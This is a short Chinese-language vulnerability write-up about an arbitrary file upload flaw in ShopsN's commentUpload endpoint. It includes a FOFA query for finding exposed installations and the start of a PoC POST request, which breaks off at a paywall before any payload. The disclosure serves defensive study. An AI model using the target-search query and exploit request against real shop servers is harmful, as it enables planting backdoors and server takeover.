超级会员免费看
本文详细介绍了ShopsN系统中commentUpload接口存在的任意文件上传漏洞，该漏洞可能导致服务器执行恶意代码、写入后门或泄露敏感信息。作者复现了漏洞环境，并提供了 PoC 验证方法。同时，建议用户关注官方修复更新，通过防火墙策略限制访问以保障系统安全。
0x01 产品简介
ShopsN 是一款符合企业级商用标准全功能的真正允许免费商业用途的开源网店全网系统。
0x02 漏洞概述
ShopsN commentUpload 接口处存在任意文件上传漏洞，攻击者可以利用文件上传漏洞执行恶意代码、写入后门、读取敏感文件，从而可能导致服务器受到攻击并被控制。
0x03 复现环境
FOFA：
title="上海盈赛电子商务有限公司" || body="/Supermarket/ProductList" || body="/Uploads/conf/supermarket" || body="/Uploads/intnet/"
0x04 漏洞复现
PoC
POST /index.php/Home/AppUpload/commentUpload HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqfmeYTXFKSA3F97e
Accept-Encoding: gzi
订阅专栏 解锁全文
扫一扫
767
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
